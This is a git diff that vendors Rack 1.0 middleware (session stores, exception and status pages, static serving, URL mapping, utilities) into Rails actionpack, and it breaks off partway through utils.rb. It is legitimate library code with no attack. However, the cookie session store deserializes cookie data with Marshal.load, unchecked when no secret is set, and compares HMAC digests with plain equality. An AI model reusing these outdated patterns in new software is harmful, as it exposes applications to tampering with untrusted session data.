+require 'openssl'
+require 'rack/request'
+require 'rack/response'
+
+module Rack
+
+ module Session
+
+ # Rack::Session::Cookie provides simple cookie based session management.
+ # The session is a Ruby Hash stored as base64 encoded marshalled data
+ # set to :key (default: rack.session).
+ # When the secret key is set, cookie data is checked for data integrity.
+ #
+ # Example:
+ #
+ # use Rack::Session::Cookie, :key => 'rack.session',
+ # :domain => 'foo.com',
+ # :path => '/',
+ # :expire_after => 2592000,
+ # :secret => 'change_me'
+ #
+ # All parameters are optional.
+
+ class Cookie
+
+ def initialize(app, options={})
+ @app = app
+ @key = options[:key] || "rack.session"
+ @secret = options[:secret]
+ @default_options = {:domain => nil,
+ :path => "/",
+ :expire_after => nil}.merge(options)
+ end
+
+ def call(env)
+ load_session(env)
+ status, headers, body = @app.call(env)
+ commit_session(env, status, headers, body)
+ end
+
+ private
+
+ def load_session(env)
+ request = Rack::Request.new(env)
+ session_data = request.cookies[@key]
+
+ if @secret && session_data
+ session_data, digest = session_data.split("--")
+ session_data = nil unless digest == generate_hmac(session_data)
+ end
+
+ begin
+ session_data = session_data.unpack("m*").first
+ session_data = Marshal.load(session_data)
+ env["rack.session"] = session_data
+ rescue
+ env["rack.session"] = Hash.new
+ end
+
+ env["rack.session.options"] = @default_options.dup
+ end
+
+ def commit_session(env, status, headers, body)
+ session_data = Marshal.dump(env["rack.session"])
+ session_data = [session_data].pack("m*")
+
+ if @secret
+ session_data = "#{session_data}--#{generate_hmac(session_data)}"
+ end
+
+ if session_data.size > (4096 - @key.size)
+ env["rack.errors"].puts("Warning! Rack::Session::Cookie data size exceeds 4K. Content dropped.")
+ [status, headers, body]
+ else
+ options = env["rack.session.options"]
+ cookie = Hash.new
+ cookie[:value] = session_data
+ cookie[:expires] = Time.now + options[:expire_after] unless options[:expire_after].nil?
+ response = Rack::Response.new(body, status, headers)
+ response.set_cookie(@key, cookie.merge(options))
+ response.to_a
+ end
+ end
+
+ def generate_hmac(data)
+ OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, @secret, data)
+ end
+
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/session/memcache.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/session/memcache.rb
new file mode 100644
index 0000000000..4a65cbf35d
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/session/memcache.rb
@@ -0,0 +1,109 @@
+# AUTHOR: blink <blinketje@gmail.com>; blink#ruby-lang@irc.freenode.net
+
+require 'rack/session/abstract/id'
+require 'memcache'
+
+module Rack
+ module Session
+ # Rack::Session::Memcache provides simple cookie based session management.
+ # Session data is stored in memcached. The corresponding session key is
+ # maintained in the cookie.
+ # You may treat Session::Memcache as you would Session::Pool with the
+ # following caveats.
+ #
+ # * Setting :expire_after to 0 would note to the Memcache server to hang
+ # onto the session data until it would drop it according to it's own
+ # specifications. However, the cookie sent to the client would expire
+ # immediately.
+ #
+ # Note that memcache does drop data before it may be listed to expire. For
+ # a full description of behaviour, please see memcache's documentation.
+
+ class Memcache < Abstract::ID
+ attr_reader :mutex, :pool
+ DEFAULT_OPTIONS = Abstract::ID::DEFAULT_OPTIONS.merge \
+ :namespace => 'rack:session',
+ :memcache_server => 'localhost:11211'
+
+ def initialize(app, options={})
+ super
+
+ @mutex = Mutex.new
+ @pool = MemCache.
+ new @default_options[:memcache_server], @default_options
+ raise 'No memcache servers' unless @pool.servers.any?{|s|s.alive?}
+ end
+
+ def generate_sid
+ loop do
+ sid = super
+ break sid unless @pool.get(sid, true)
+ end
+ end
+
+ def get_session(env, sid)
+ session = @pool.get(sid) if sid
+ @mutex.lock if env['rack.multithread']
+ unless sid and session
+ env['rack.errors'].puts("Session '#{sid.inspect}' not found, initializing...") if $VERBOSE and not sid.nil?
+ session = {}
+ sid = generate_sid
+ ret = @pool.add sid, session
+ raise "Session collision on '#{sid.inspect}'" unless /^STORED/ =~ ret
+ end
+ session.instance_variable_set('@old', {}.merge(session))
+ return [sid, session]
+ rescue MemCache::MemCacheError, Errno::ECONNREFUSED # MemCache server cannot be contacted
+ warn "#{self} is unable to find server."
+ warn $!.inspect
+ return [ nil, {} ]
+ ensure
+ @mutex.unlock if env['rack.multithread']
+ end
+
+ def set_session(env, session_id, new_session, options)
+ expiry = options[:expire_after]
+ expiry = expiry.nil? ? 0 : expiry + 1
+
+ @mutex.lock if env['rack.multithread']
+ session = @pool.get(session_id) || {}
+ if options[:renew] or options[:drop]
+ @pool.delete session_id
+ return false if options[:drop]
+ session_id = generate_sid
+ @pool.add session_id, 0 # so we don't worry about cache miss on #set
+ end
+ old_session = new_session.instance_variable_get('@old') || {}
+ session = merge_sessions session_id, old_session, new_session, session
+ @pool.set session_id, session, expiry
+ return session_id
+ rescue MemCache::MemCacheError, Errno::ECONNREFUSED # MemCache server cannot be contacted
+ warn "#{self} is unable to find server."
+ warn $!.inspect
+ return false
+ ensure
+ @mutex.unlock if env['rack.multithread']
+ end
+
+ private
+
+ def merge_sessions sid, old, new, cur=nil
+ cur ||= {}
+ unless Hash === old and Hash === new
+ warn 'Bad old or new sessions provided.'
+ return cur
+ end
+
+ delete = old.keys - new.keys
+ warn "//@#{sid}: delete #{delete*','}" if $VERBOSE and not delete.empty?
+ delete.each{|k| cur.delete k }
+
+ update = new.keys.select{|k| new[k] != old[k] }
+ warn "//@#{sid}: update #{update*','}" if $VERBOSE and not update.empty?
+ update.each{|k| cur[k] = new[k] }
+
+ cur
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/session/pool.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/session/pool.rb
new file mode 100644
index 0000000000..f6f87408bb
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/session/pool.rb
@@ -0,0 +1,100 @@
+# AUTHOR: blink <blinketje@gmail.com>; blink#ruby-lang@irc.freenode.net
+# THANKS:
+# apeiros, for session id generation, expiry setup, and threadiness
+# sergio, threadiness and bugreps
+
+require 'rack/session/abstract/id'
+require 'thread'
+
+module Rack
+ module Session
+ # Rack::Session::Pool provides simple cookie based session management.
+ # Session data is stored in a hash held by @pool.
+ # In the context of a multithreaded environment, sessions being
+ # committed to the pool is done in a merging manner.
+ #
+ # The :drop option is available in rack.session.options if you with to
+ # explicitly remove the session from the session cache.
+ #
+ # Example:
+ # myapp = MyRackApp.new
+ # sessioned = Rack::Session::Pool.new(myapp,
+ # :domain => 'foo.com',
+ # :expire_after => 2592000
+ # )
+ # Rack::Handler::WEBrick.run sessioned
+
+ class Pool < Abstract::ID
+ attr_reader :mutex, :pool
+ DEFAULT_OPTIONS = Abstract::ID::DEFAULT_OPTIONS.merge :drop => false
+
+ def initialize(app, options={})
+ super
+ @pool = Hash.new
+ @mutex = Mutex.new
+ end
+
+ def generate_sid
+ loop do
+ sid = super
+ break sid unless @pool.key? sid
+ end
+ end
+
+ def get_session(env, sid)
+ session = @pool[sid] if sid
+ @mutex.lock if env['rack.multithread']
+ unless sid and session
+ env['rack.errors'].puts("Session '#{sid.inspect}' not found, initializing...") if $VERBOSE and not sid.nil?
+ session = {}
+ sid = generate_sid
+ @pool.store sid, session
+ end
+ session.instance_variable_set('@old', {}.merge(session))
+ return [sid, session]
+ ensure
+ @mutex.unlock if env['rack.multithread']
+ end
+
+ def set_session(env, session_id, new_session, options)
+ @mutex.lock if env['rack.multithread']
+ session = @pool[session_id]
+ if options[:renew] or options[:drop]
+ @pool.delete session_id
+ return false if options[:drop]
+ session_id = generate_sid
+ @pool.store session_id, 0
+ end
+ old_session = new_session.instance_variable_get('@old') || {}
+ session = merge_sessions session_id, old_session, new_session, session
+ @pool.store session_id, session
+ return session_id
+ rescue
+ warn "#{new_session.inspect} has been lost."
+ warn $!.inspect
+ ensure
+ @mutex.unlock if env['rack.multithread']
+ end
+
+ private
+
+ def merge_sessions sid, old, new, cur=nil
+ cur ||= {}
+ unless Hash === old and Hash === new
+ warn 'Bad old or new sessions provided.'
+ return cur
+ end
+
+ delete = old.keys - new.keys
+ warn "//@#{sid}: dropping #{delete*','}" if $DEBUG and not delete.empty?
+ delete.each{|k| cur.delete k }
+
+ update = new.keys.select{|k| new[k] != old[k] }
+ warn "//@#{sid}: updating #{update*','}" if $DEBUG and not update.empty?
+ update.each{|k| cur[k] = new[k] }
+
+ cur
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/showexceptions.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/showexceptions.rb
new file mode 100644
index 0000000000..697bc41fdb
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/showexceptions.rb
@@ -0,0 +1,349 @@
+require 'ostruct'
+require 'erb'
+require 'rack/request'
+require 'rack/utils'
+
+module Rack
+ # Rack::ShowExceptions catches all exceptions raised from the app it
+ # wraps. It shows a useful backtrace with the sourcefile and
+ # clickable context, the whole Rack environment and the request
+ # data.
+ #
+ # Be careful when you use this on public-facing sites as it could
+ # reveal information helpful to attackers.
+
+ class ShowExceptions
+ CONTEXT = 7
+
+ def initialize(app)
+ @app = app
+ @template = ERB.new(TEMPLATE)
+ end
+
+ def call(env)
+ @app.call(env)
+ rescue StandardError, LoadError, SyntaxError => e
+ backtrace = pretty(env, e)
+ [500,
+ {"Content-Type" => "text/html",
+ "Content-Length" => backtrace.join.size.to_s},
+ backtrace]
+ end
+
+ def pretty(env, exception)
+ req = Rack::Request.new(env)
+ path = (req.script_name + req.path_info).squeeze("/")
+
+ frames = exception.backtrace.map { |line|
+ frame = OpenStruct.new
+ if line =~ /(.*?):(\d+)(:in `(.*)')?/
+ frame.filename = $1
+ frame.lineno = $2.to_i
+ frame.function = $4
+
+ begin
+ lineno = frame.lineno-1
+ lines = ::File.readlines(frame.filename)
+ frame.pre_context_lineno = [lineno-CONTEXT, 0].max
+ frame.pre_context = lines[frame.pre_context_lineno...lineno]
+ frame.context_line = lines[lineno].chomp
+ frame.post_context_lineno = [lineno+CONTEXT, lines.size].min
+ frame.post_context = lines[lineno+1..frame.post_context_lineno]
+ rescue
+ end
+
+ frame
+ else
+ nil
+ end
+ }.compact
+
+ env["rack.errors"].puts "#{exception.class}: #{exception.message}"
+ env["rack.errors"].puts exception.backtrace.map { |l| "\t" + l }
+ env["rack.errors"].flush
+
+ [@template.result(binding)]
+ end
+
+ def h(obj) # :nodoc:
+ case obj
+ when String
+ Utils.escape_html(obj)
+ else
+ Utils.escape_html(obj.inspect)
+ end
+ end
+
+ # :stopdoc:
+
+# adapted from Django <djangoproject.com>
+# Copyright (c) 2005, the Lawrence Journal-World
+# Used under the modified BSD license:
+# http://www.xfree86.org/3.3.6/COPYRIGHT2.html#5
+TEMPLATE = <<'HTML'
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
+<html lang="en">
+<head>
+ <meta http-equiv="content-type" content="text/html; charset=utf-8" />
+ <meta name="robots" content="NONE,NOARCHIVE" />
+ <title><%=h exception.class %> at <%=h path %></title>
+ <style type="text/css">
+ html * { padding:0; margin:0; }
+ body * { padding:10px 20px; }
+ body * * { padding:0; }
+ body { font:small sans-serif; }
+ body>div { border-bottom:1px solid #ddd; }
+ h1 { font-weight:normal; }
+ h2 { margin-bottom:.8em; }
+ h2 span { font-size:80%; color:#666; font-weight:normal; }
+ h3 { margin:1em 0 .5em 0; }
+ h4 { margin:0 0 .5em 0; font-weight: normal; }
+ table {
+ border:1px solid #ccc; border-collapse: collapse; background:white; }
+ tbody td, tbody th { vertical-align:top; padding:2px 3px; }
+ thead th {
+ padding:1px 6px 1px 3px; background:#fefefe; text-align:left;
+ font-weight:normal; font-size:11px; border:1px solid #ddd; }
+ tbody th { text-align:right; color:#666; padding-right:.5em; }
+ table.vars { margin:5px 0 2px 40px; }
+ table.vars td, table.req td { font-family:monospace; }
+ table td.code { width:100%;}
+ table td.code div { overflow:hidden; }
+ table.source th { color:#666; }
+ table.source td {
+ font-family:monospace; white-space:pre; border-bottom:1px solid #eee; }
+ ul.traceback { list-style-type:none; }
+ ul.traceback li.frame { margin-bottom:1em; }
+ div.context { margin: 10px 0; }
+ div.context ol {
+ padding-left:30px; margin:0 10px; list-style-position: inside; }
+ div.context ol li {
+ font-family:monospace; white-space:pre; color:#666; cursor:pointer; }
+ div.context ol.context-line li { color:black; background-color:#ccc; }
+ div.context ol.context-line li span { float: right; }
+ div.commands { margin-left: 40px; }
+ div.commands a { color:black; text-decoration:none; }
+ #summary { background: #ffc; }
+ #summary h2 { font-weight: normal; color: #666; }
+ #summary ul#quicklinks { list-style-type: none; margin-bottom: 2em; }
+ #summary ul#quicklinks li { float: left; padding: 0 1em; }
+ #summary ul#quicklinks>li+li { border-left: 1px #666 solid; }
+ #explanation { background:#eee; }
+ #template, #template-not-exist { background:#f6f6f6; }
+ #template-not-exist ul { margin: 0 0 0 20px; }
+ #traceback { background:#eee; }
+ #requestinfo { background:#f6f6f6; padding-left:120px; }
+ #summary table { border:none; background:transparent; }
+ #requestinfo h2, #requestinfo h3 { position:relative; margin-left:-100px; }
+ #requestinfo h3 { margin-bottom:-1em; }
+ .error { background: #ffc; }
+ .specific { color:#cc3300; font-weight:bold; }
+ </style>
+ <script type="text/javascript">
+ //<!--
+ function getElementsByClassName(oElm, strTagName, strClassName){
+ // Written by Jonathan Snook, http://www.snook.ca/jon;
+ // Add-ons by Robert Nyman, http://www.robertnyman.com
+ var arrElements = (strTagName == "*" && document.all)? document.all :
+ oElm.getElementsByTagName(strTagName);
+ var arrReturnElements = new Array();
+ strClassName = strClassName.replace(/\-/g, "\\-");
+ var oRegExp = new RegExp("(^|\\s)" + strClassName + "(\\s|$$)");
+ var oElement;
+ for(var i=0; i<arrElements.length; i++){
+ oElement = arrElements[i];
+ if(oRegExp.test(oElement.className)){
+ arrReturnElements.push(oElement);
+ }
+ }
+ return (arrReturnElements)
+ }
+ function hideAll(elems) {
+ for (var e = 0; e < elems.length; e++) {
+ elems[e].style.display = 'none';
+ }
+ }
+ window.onload = function() {
+ hideAll(getElementsByClassName(document, 'table', 'vars'));
+ hideAll(getElementsByClassName(document, 'ol', 'pre-context'));
+ hideAll(getElementsByClassName(document, 'ol', 'post-context'));
+ }
+ function toggle() {
+ for (var i = 0; i < arguments.length; i++) {
+ var e = document.getElementById(arguments[i]);
+ if (e) {
+ e.style.display = e.style.display == 'none' ? 'block' : 'none';
+ }
+ }
+ return false;
+ }
+ function varToggle(link, id) {
+ toggle('v' + id);
+ var s = link.getElementsByTagName('span')[0];
+ var uarr = String.fromCharCode(0x25b6);
+ var darr = String.fromCharCode(0x25bc);
+ s.innerHTML = s.innerHTML == uarr ? darr : uarr;
+ return false;
+ }
+ //-->
+ </script>
+</head>
+<body>
+
+<div id="summary">
+ <h1><%=h exception.class %> at <%=h path %></h1>
+ <h2><%=h exception.message %></h2>
+ <table><tr>
+ <th>Ruby</th>
+ <td><code><%=h frames.first.filename %></code>: in <code><%=h frames.first.function %></code>, line <%=h frames.first.lineno %></td>
+ </tr><tr>
+ <th>Web</th>
+ <td><code><%=h req.request_method %> <%=h(req.host + path)%></code></td>
+ </tr></table>
+
+ <h3>Jump to:</h3>
+ <ul id="quicklinks">
+ <li><a href="#get-info">GET</a></li>
+ <li><a href="#post-info">POST</a></li>
+ <li><a href="#cookie-info">Cookies</a></li>
+ <li><a href="#env-info">ENV</a></li>
+ </ul>
+</div>
+
+<div id="traceback">
+ <h2>Traceback <span>(innermost first)</span></h2>
+ <ul class="traceback">
+<% frames.each { |frame| %>
+ <li class="frame">
+ <code><%=h frame.filename %></code>: in <code><%=h frame.function %></code>
+
+ <% if frame.context_line %>
+ <div class="context" id="c<%=h frame.object_id %>">
+ <% if frame.pre_context %>
+ <ol start="<%=h frame.pre_context_lineno+1 %>" class="pre-context" id="pre<%=h frame.object_id %>">
+ <% frame.pre_context.each { |line| %>
+ <li onclick="toggle('pre<%=h frame.object_id %>', 'post<%=h frame.object_id %>')"><%=h line %></li>
+ <% } %>
+ </ol>
+ <% end %>
+
+ <ol start="<%=h frame.lineno %>" class="context-line">
+ <li onclick="toggle('pre<%=h frame.object_id %>', 'post<%=h frame.object_id %>')"><%=h frame.context_line %><span>...</span></li></ol>
+
+ <% if frame.post_context %>
+ <ol start='<%=h frame.lineno+1 %>' class="post-context" id="post<%=h frame.object_id %>">
+ <% frame.post_context.each { |line| %>
+ <li onclick="toggle('pre<%=h frame.object_id %>', 'post<%=h frame.object_id %>')"><%=h line %></li>
+ <% } %>
+ </ol>
+ <% end %>
+ </div>
+ <% end %>
+ </li>
+<% } %>
+ </ul>
+</div>
+
+<div id="requestinfo">
+ <h2>Request information</h2>
+
+ <h3 id="get-info">GET</h3>
+ <% unless req.GET.empty? %>
+ <table class="req">
+ <thead>
+ <tr>
+ <th>Variable</th>
+ <th>Value</th>
+ </tr>
+ </thead>
+ <tbody>
+ <% req.GET.sort_by { |k, v| k.to_s }.each { |key, val| %>
+ <tr>
+ <td><%=h key %></td>
+ <td class="code"><div><%=h val.inspect %></div></td>
+ </tr>
+ <% } %>
+ </tbody>
+ </table>
+ <% else %>
+ <p>No GET data.</p>
+ <% end %>
+
+ <h3 id="post-info">POST</h3>
+ <% unless req.POST.empty? %>
+ <table class="req">
+ <thead>
+ <tr>
+ <th>Variable</th>
+ <th>Value</th>
+ </tr>
+ </thead>
+ <tbody>
+ <% req.POST.sort_by { |k, v| k.to_s }.each { |key, val| %>
+ <tr>
+ <td><%=h key %></td>
+ <td class="code"><div><%=h val.inspect %></div></td>
+ </tr>
+ <% } %>
+ </tbody>
+ </table>
+ <% else %>
+ <p>No POST data.</p>
+ <% end %>
+
+
+ <h3 id="cookie-info">COOKIES</h3>
+ <% unless req.cookies.empty? %>
+ <table class="req">
+ <thead>
+ <tr>
+ <th>Variable</th>
+ <th>Value</th>
+ </tr>
+ </thead>
+ <tbody>
+ <% req.cookies.each { |key, val| %>
+ <tr>
+ <td><%=h key %></td>
+ <td class="code"><div><%=h val.inspect %></div></td>
+ </tr>
+ <% } %>
+ </tbody>
+ </table>
+ <% else %>
+ <p>No cookie data.</p>
+ <% end %>
+
+ <h3 id="env-info">Rack ENV</h3>
+ <table class="req">
+ <thead>
+ <tr>
+ <th>Variable</th>
+ <th>Value</th>
+ </tr>
+ </thead>
+ <tbody>
+ <% env.sort_by { |k, v| k.to_s }.each { |key, val| %>
+ <tr>
+ <td><%=h key %></td>
+ <td class="code"><div><%=h val %></div></td>
+ </tr>
+ <% } %>
+ </tbody>
+ </table>
+
+</div>
+
+<div id="explanation">
+ <p>
+ You're seeing this error because you use <code>Rack::ShowExceptions</code>.
+ </p>
+</div>
+
+</body>
+</html>
+HTML
+
+ # :startdoc:
+ end
+end
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/showstatus.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/showstatus.rb
new file mode 100644
index 0000000000..28258c7c89
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/showstatus.rb
@@ -0,0 +1,106 @@
+require 'erb'
+require 'rack/request'
+require 'rack/utils'
+
+module Rack
+ # Rack::ShowStatus catches all empty responses the app it wraps and
+ # replaces them with a site explaining the error.
+ #
+ # Additional details can be put into <tt>rack.showstatus.detail</tt>
+ # and will be shown as HTML. If such details exist, the error page
+ # is always rendered, even if the reply was not empty.
+
+ class ShowStatus
+ def initialize(app)
+ @app = app
+ @template = ERB.new(TEMPLATE)
+ end
+
+ def call(env)
+ status, headers, body = @app.call(env)
+ headers = Utils::HeaderHash.new(headers)
+ empty = headers['Content-Length'].to_i <= 0
+
+ # client or server error, or explicit message
+ if (status.to_i >= 400 && empty) || env["rack.showstatus.detail"]
+ req = Rack::Request.new(env)
+ message = Rack::Utils::HTTP_STATUS_CODES[status.to_i] || status.to_s
+ detail = env["rack.showstatus.detail"] || message
+ body = @template.result(binding)
+ size = Rack::Utils.bytesize(body)
+ [status, headers.merge("Content-Type" => "text/html", "Content-Length" => size.to_s), [body]]
+ else
+ [status, headers, body]
+ end
+ end
+
+ def h(obj) # :nodoc:
+ case obj
+ when String
+ Utils.escape_html(obj)
+ else
+ Utils.escape_html(obj.inspect)
+ end
+ end
+
+ # :stopdoc:
+
+# adapted from Django <djangoproject.com>
+# Copyright (c) 2005, the Lawrence Journal-World
+# Used under the modified BSD license:
+# http://www.xfree86.org/3.3.6/COPYRIGHT2.html#5
+TEMPLATE = <<'HTML'
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
+<html lang="en">
+<head>
+ <meta http-equiv="content-type" content="text/html; charset=utf-8" />
+ <title><%=h message %> at <%=h req.script_name + req.path_info %></title>
+ <meta name="robots" content="NONE,NOARCHIVE" />
+ <style type="text/css">
+ html * { padding:0; margin:0; }
+ body * { padding:10px 20px; }
+ body * * { padding:0; }
+ body { font:small sans-serif; background:#eee; }
+ body>div { border-bottom:1px solid #ddd; }
+ h1 { font-weight:normal; margin-bottom:.4em; }
+ h1 span { font-size:60%; color:#666; font-weight:normal; }
+ table { border:none; border-collapse: collapse; width:100%; }
+ td, th { vertical-align:top; padding:2px 3px; }
+ th { width:12em; text-align:right; color:#666; padding-right:.5em; }
+ #info { background:#f6f6f6; }
+ #info ol { margin: 0.5em 4em; }
+ #info ol li { font-family: monospace; }
+ #summary { background: #ffc; }
+ #explanation { background:#eee; border-bottom: 0px none; }
+ </style>
+</head>
+<body>
+ <div id="summary">
+ <h1><%=h message %> <span>(<%= status.to_i %>)</span></h1>
+ <table class="meta">
+ <tr>
+ <th>Request Method:</th>
+ <td><%=h req.request_method %></td>
+ </tr>
+ <tr>
+ <th>Request URL:</th>
+ <td><%=h req.url %></td>
+ </tr>
+ </table>
+ </div>
+ <div id="info">
+ <p><%= detail %></p>
+ </div>
+
+ <div id="explanation">
+ <p>
+ You're seeing this error because you use <code>Rack::ShowStatus</code>.
+ </p>
+ </div>
+</body>
+</html>
+HTML
+
+ # :startdoc:
+ end
+end
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/static.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/static.rb
new file mode 100644
index 0000000000..168e8f83b2
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/static.rb
@@ -0,0 +1,38 @@
+module Rack
+
+ # The Rack::Static middleware intercepts requests for static files
+ # (javascript files, images, stylesheets, etc) based on the url prefixes
+ # passed in the options, and serves them using a Rack::File object. This
+ # allows a Rack stack to serve both static and dynamic content.
+ #
+ # Examples:
+ # use Rack::Static, :urls => ["/media"]
+ # will serve all requests beginning with /media from the "media" folder
+ # located in the current directory (ie media/*).
+ #
+ # use Rack::Static, :urls => ["/css", "/images"], :root => "public"
+ # will serve all requests beginning with /css or /images from the folder
+ # "public" in the current directory (ie public/css/* and public/images/*)
+
+ class Static
+
+ def initialize(app, options={})
+ @app = app
+ @urls = options[:urls] || ["/favicon.ico"]
+ root = options[:root] || Dir.pwd
+ @file_server = Rack::File.new(root)
+ end
+
+ def call(env)
+ path = env["PATH_INFO"]
+ can_serve = @urls.any? { |url| path.index(url) == 0 }
+
+ if can_serve
+ @file_server.call(env)
+ else
+ @app.call(env)
+ end
+ end
+
+ end
+end
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/urlmap.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/urlmap.rb
new file mode 100644
index 0000000000..0ff32df181
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/urlmap.rb
@@ -0,0 +1,55 @@
+module Rack
+ # Rack::URLMap takes a hash mapping urls or paths to apps, and
+ # dispatches accordingly. Support for HTTP/1.1 host names exists if
+ # the URLs start with <tt>http://</tt> or <tt>https://</tt>.
+ #
+ # URLMap modifies the SCRIPT_NAME and PATH_INFO such that the part
+ # relevant for dispatch is in the SCRIPT_NAME, and the rest in the
+ # PATH_INFO. This should be taken care of when you need to
+ # reconstruct the URL in order to create links.
+ #
+ # URLMap dispatches in such a way that the longest paths are tried
+ # first, since they are most specific.
+
+ class URLMap
+ def initialize(map = {})
+ remap(map)
+ end
+
+ def remap(map)
+ @mapping = map.map { |location, app|
+ if location =~ %r{\Ahttps?://(.*?)(/.*)}
+ host, location = $1, $2
+ else
+ host = nil
+ end
+
+ unless location[0] == ?/
+ raise ArgumentError, "paths need to start with /"
+ end
+ location = location.chomp('/')
+
+ [host, location, app]
+ }.sort_by { |(h, l, a)| [-l.size, h.to_s.size] } # Longest path first
+ end
+
+ def call(env)
+ path = env["PATH_INFO"].to_s.squeeze("/")
+ script_name = env['SCRIPT_NAME']
+ hHost, sName, sPort = env.values_at('HTTP_HOST','SERVER_NAME','SERVER_PORT')
+ @mapping.each { |host, location, app|
+ next unless (hHost == host || sName == host \
+ || (host.nil? && (hHost == sName || hHost == sName+':'+sPort)))
+ next unless location == path[0, location.size]
+ next unless path[location.size] == nil || path[location.size] == ?/
+
+ return app.call(
+ env.merge(
+ 'SCRIPT_NAME' => (script_name + location),
+ 'PATH_INFO' => path[location.size..-1]))
+ }
+ [404, {"Content-Type" => "text/plain"}, ["Not Found: #{path}"]]
+ end
+ end
+end
+
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/utils.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/utils.rb
new file mode 100644
index 0000000000..0a61bce707
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/utils.rb
@@ -0,0 +1,392 @@
+require 'set'
+require 'tempfile'
+
+module Rack
+ # Rack::Utils contains a grab-bag of useful methods for writing web
+ # applications adopted from all kinds of Ruby libraries.
+
+ module Utils
+ # Performs URI escaping so that you can construct proper
+ # query strings faster. Use this rather than the cgi.rb
+ # version since it's faster. (Stolen from Camping).
+ def escape(s)
+ s.to_s.gsub(/([^ a-zA-Z0-9_.-]+)/n) {
+ '%'+$1.unpack('H2'*$1.size).join('%').upcase
+ }.tr(' ', '+')
+ end
+ module_function :escape
+
+ # Unescapes a URI escaped string. (Stolen from Camping).
+ def unescape(s)
+ s.tr('+', ' ').gsub(/((?:%[0-9a-fA-F]{2})+)/n){
+ [$1.delete('%')].pack('H*')
+ }
+ end
+ module_function :unescape
+
+ # Stolen from Mongrel, with some small modifications:
+ # Parses a query string by breaking it up at the '&'
+ # and ';' characters. You can also use this to parse
+ # cookies by changing the characters used in the second
+ # parameter (which defaults to '&;').
+ def parse_query(qs, d = '&;')
+ params = {}
+
+ (qs || '').split(/[#{d}] */n).each do |p|
+ k, v = unescape(p).split('=', 2)
+
+ if cur = params[k]
+ if cur.class == Array
+ params[k] << v
+ else
+ params[k] = [cur, v]
+ end
+ else
+ params[k] = v
+ end
+ end
+
+ return params
+ end
+ module_function :parse_query
+
+ def parse_nested_query(qs, d = '&;')
+ params = {}
+
+ (qs || '').split(/[#{d}] */n).each do |p|
+ k, v = unescape(p).split('=', 2)
+ normalize_params(params, k, v)
+ end
+
+ return params
+ end
+ module_function :parse_nested_query
+
+ def normalize_params(params, name, v = nil)
+ name =~ %r([\[\]]*([^\[\]]+)\]*)
+ k = $1 || ''
+ after = $' || ''
+
+ return if k.empty?
+
+ if after == ""
+ params[k] = v
+ elsif after == "[]"
+ params[k] ||= []
+ raise TypeError unless params[k].is_a?(Array)
+ params[k] << v
+ elsif after =~ %r(^\[\]\[([^\[\]]+)\]$) || after =~ %r(^\[\](.+)$)
+ child_key = $1
+ params[k] ||= []
+ raise TypeError unless params[k].is_a?(Array)
+ if params[k].last.is_a?(Hash) && !params[k].last.key?(child_key)
+ normalize_params(params[k].last, child_key, v)
+ else
+ params[k] << normalize_params({}, child_key, v)
+ end
+ else
+ params[k] ||= {}
+ params[k] = normalize_params(params[k], after, v)
+ end
+
+ return params
+ end
+ module_function :normalize_params
+
+ def build_query(params)
+ params.map { |k, v|
+ if v.class == Array
+ build_query(v.map { |x| [k, x] })
+ else
+ escape(k) + "=" + escape(v)
+ end
+ }.join("&")
+ end
+ module_function :build_query
+
+ # Escape ampersands, brackets and quotes to their HTML/XML entities.
+ def escape_html(string)
+ string.to_s.gsub("&", "&amp;").
+ gsub("<", "&lt;").
+ gsub(">", "&gt;").
+ gsub("'", "&#39;").
+ gsub('"', "&quot;")
+ end
+ module_function :escape_html
+
+ def select_best_encoding(available_encodings, accept_encoding)
+ # http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html
+
+ expanded_accept_encoding =
+ accept_encoding.map { |m, q|
+ if m == "*"
+ (available_encodings - accept_encoding.map { |m2, _| m2 }).map { |m2| [m2, q] }
+ else
+ [[m, q]]
+ end
+ }.inject([]) { |mem, list|
+ mem + list
+ }
+
+ encoding_candidates = expanded_accept_encoding.sort_by { |_, q| -q }.map { |m, _| m }
+
+ unless encoding_candidates.include?("identity")
+ encoding_candidates.push("identity")
+ end
+
+ expanded_accept_encoding.find_all { |m, q|
+ q == 0.0
+ }.each { |m, _|
+ encoding_candidates.delete(m)
+ }
+
+ return (encoding_candidates & available_encodings)[0]
+ end
+ module_function :select_best_encoding
+
+ # Return the bytesize of String; uses String#length under Ruby 1.8 and
+ # String#bytesize under 1.9.
+ if ''.respond_to?(:bytesize)
+ def bytesize(string)
+ string.bytesize
+ end
+ else
+ def bytesize(string)
+ string.size
+ end
+ end
+ module_function :bytesize
+
+ # Context allows the use of a compatible middleware at different points
+ # in a request handling stack. A compatible middleware must define
+ # #context which should take the arguments env and app. The first of which
+ # would be the request environment. The second of which would be the rack
+ # application that the request would be forwarded to.
+ class Context
+ attr_reader :for, :app
+
+ def initialize(app_f, app_r)
